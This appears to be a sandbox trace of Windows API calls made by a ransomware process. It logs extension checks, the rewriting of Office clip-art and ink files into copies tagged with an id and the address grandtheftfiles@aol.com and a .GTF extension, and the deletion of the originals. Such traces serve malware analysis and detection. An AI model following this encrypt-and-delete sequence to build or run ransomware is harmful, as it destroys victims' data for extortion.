	[0154.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString=".doc") returned 4
	[0154.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString=".docx") returned 5
	[0154.054] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0154.054] lstrlenW (lpString=".pdf") returned 4
	[0154.054] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString=".xls") returned 4
	[0154.054] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString=".xlsx") returned 5
	[0154.054] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0154.054] lstrlenW (lpString=".ppt") returned 4
	[0154.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString=".zip") returned 4
	[0154.054] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.054] lstrlenW (lpString=".rar") returned 4
	[0154.054] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString=".bz2") returned 4
	[0154.054] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString=".7z") returned 3
	[0154.054] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString=".dbf") returned 4
	[0154.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString=".1cd") returned 4
	[0154.054] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString=".jpg") returned 4
	[0154.054] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.055] lstrlenW (lpString=".doc") returned 4
	[0154.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString=".docx") returned 5
	[0154.055] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0154.055] lstrlenW (lpString=".pdf") returned 4
	[0154.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString=".xls") returned 4
	[0154.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString=".xlsx") returned 5
	[0154.055] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0154.055] lstrlenW (lpString=".ppt") returned 4
	[0154.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.055] lstrlenW (lpString=".zip") returned 4
	[0154.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.055] lstrlenW (lpString=".rar") returned 4
	[0154.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString=".bz2") returned 4
	[0154.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString=".7z") returned 3
	[0154.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.055] lstrlenW (lpString=".dbf") returned 4
	[0154.055] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.055] lstrlenW (lpString=".1cd") returned 4
	[0154.055] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0154.055] lstrlenW (lpString=".jpg") returned 4
	[0154.055] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.055] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.055] lstrlenW (lpString="ipsel.xml") returned 9
	[0154.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.056] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2618) returned 1
	[0154.056] CloseHandle (hObject=0x3d8) returned 1
	[0154.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20
	[0154.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0154.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0154.056] lstrlenW (lpString=".doc") returned 4
	[0154.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.056] lstrlenW (lpString=".docx") returned 5
	[0154.056] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0154.056] lstrlenW (lpString=".pdf") returned 4
	[0154.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.056] lstrlenW (lpString=".xls") returned 4
	[0154.056] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.056] lstrlenW (lpString=".xlsx") returned 5
	[0154.056] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0154.057] lstrlenW (lpString=".ppt") returned 4
	[0154.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0154.057] lstrlenW (lpString=".zip") returned 4
	[0154.057] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.057] lstrlenW (lpString=".rar") returned 4
	[0154.057] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.057] lstrlenW (lpString=".bz2") returned 4
	[0154.057] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.057] lstrlenW (lpString=".7z") returned 3
	[0154.057] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0155.731] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.731] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0155.732] GetLastError () returned 0x0
	[0155.732] ReadFile (in: hFile=0x488, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x5b0, lpOverlapped=0x0) returned 1
	[0155.739] WriteFile (in: hFile=0x490, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0155.741] ReadFile (in: hFile=0x488, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.741] WriteFile (in: hFile=0x490, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.741] SetEndOfFile (hFile=0x490) returned 1
	[0155.741] CloseHandle (hObject=0x490) returned 1
	[0155.741] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.741] SetEndOfFile (hFile=0x488) returned 1
	[0155.744] CloseHandle (hObject=0x488) returned 1
	[0155.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1
	[0155.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.752] lstrlenW (lpString=".doc") returned 4
	[0155.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.752] lstrlenW (lpString=".docx") returned 5
	[0155.752] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0155.752] lstrlenW (lpString=".pdf") returned 4
	[0155.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.752] lstrlenW (lpString=".xls") returned 4
	[0155.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.753] lstrlenW (lpString=".xlsx") returned 5
	[0155.753] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0155.753] lstrlenW (lpString=".ppt") returned 4
	[0155.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.753] lstrlenW (lpString=".zip") returned 4
	[0155.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.753] lstrlenW (lpString=".rar") returned 4
	[0155.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString=".bz2") returned 4
	[0155.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString=".7z") returned 3
	[0155.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.753] lstrlenW (lpString=".dbf") returned 4
	[0155.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.753] lstrlenW (lpString=".1cd") returned 4
	[0155.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.753] lstrlenW (lpString=".jpg") returned 4
	[0155.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.753] lstrlenW (lpString=".doc") returned 4
	[0155.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString=".docx") returned 5
	[0155.753] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0155.753] lstrlenW (lpString=".pdf") returned 4
	[0155.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString=".xls") returned 4
	[0155.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.753] lstrlenW (lpString=".xlsx") returned 5
	[0155.753] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0155.753] lstrlenW (lpString=".ppt") returned 4
	[0155.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.754] lstrlenW (lpString=".zip") returned 4
	[0155.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.754] lstrlenW (lpString=".rar") returned 4
	[0155.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.754] lstrlenW (lpString=".bz2") returned 4
	[0155.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.754] lstrlenW (lpString=".7z") returned 3
	[0155.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.754] lstrlenW (lpString=".dbf") returned 4
	[0155.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.754] lstrlenW (lpString=".1cd") returned 4
	[0155.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0155.754] lstrlenW (lpString=".jpg") returned 4
	[0155.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.754] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.754] lstrlenW (lpString="J0090781.WMF") returned 12
	[0155.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.755] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=5314) returned 1
	[0155.755] CloseHandle (hObject=0x488) returned 1
	[0155.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220
	[0155.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.756] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.756] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0155.756] GetLastError () returned 0x0
	[0155.756] ReadFile (in: hFile=0x488, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x14c2, lpOverlapped=0x0) returned 1
	[0155.758] WriteFile (in: hFile=0x490, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0155.760] ReadFile (in: hFile=0x488, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.760] WriteFile (in: hFile=0x490, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.760] SetEndOfFile (hFile=0x490) returned 1
	[0155.760] CloseHandle (hObject=0x490) returned 1
	[0155.760] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.760] SetEndOfFile (hFile=0x488) returned 1
	[0155.763] CloseHandle (hObject=0x488) returned 1
	[0155.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1
	[0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.563] lstrlenW (lpString=".doc") returned 4
	[0156.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.563] lstrlenW (lpString=".docx") returned 5
	[0156.563] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0156.563] lstrlenW (lpString=".pdf") returned 4
	[0156.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.563] lstrlenW (lpString=".xls") returned 4
	[0156.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.563] lstrlenW (lpString=".xlsx") returned 5
	[0156.563] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0156.564] lstrlenW (lpString=".ppt") returned 4
	[0156.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.583] lstrlenW (lpString=".zip") returned 4
	[0156.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.583] lstrlenW (lpString=".rar") returned 4
	[0156.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.583] lstrlenW (lpString=".bz2") returned 4
	[0156.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.583] lstrlenW (lpString=".7z") returned 3
	[0156.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.583] lstrlenW (lpString=".dbf") returned 4
	[0156.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.583] lstrlenW (lpString=".1cd") returned 4
	[0156.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.583] lstrlenW (lpString=".jpg") returned 4
	[0156.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.584] lstrlenW (lpString=".doc") returned 4
	[0156.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString=".docx") returned 5
	[0156.584] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0156.584] lstrlenW (lpString=".pdf") returned 4
	[0156.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString=".xls") returned 4
	[0156.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.584] lstrlenW (lpString=".xlsx") returned 5
	[0156.584] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0156.584] lstrlenW (lpString=".ppt") returned 4
	[0156.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.584] lstrlenW (lpString=".zip") returned 4
	[0156.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.584] lstrlenW (lpString=".rar") returned 4
	[0156.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString=".bz2") returned 4
	[0156.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString=".7z") returned 3
	[0156.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.584] lstrlenW (lpString=".dbf") returned 4
	[0156.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.584] lstrlenW (lpString=".1cd") returned 4
	[0156.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0156.584] lstrlenW (lpString=".jpg") returned 4
	[0156.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.585] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0156.585] lstrlenW (lpString="J0099151.WMF") returned 12
	[0156.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.585] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=26086) returned 1
	[0156.585] CloseHandle (hObject=0x490) returned 1
	[0156.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
	[0156.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.586] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.586] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
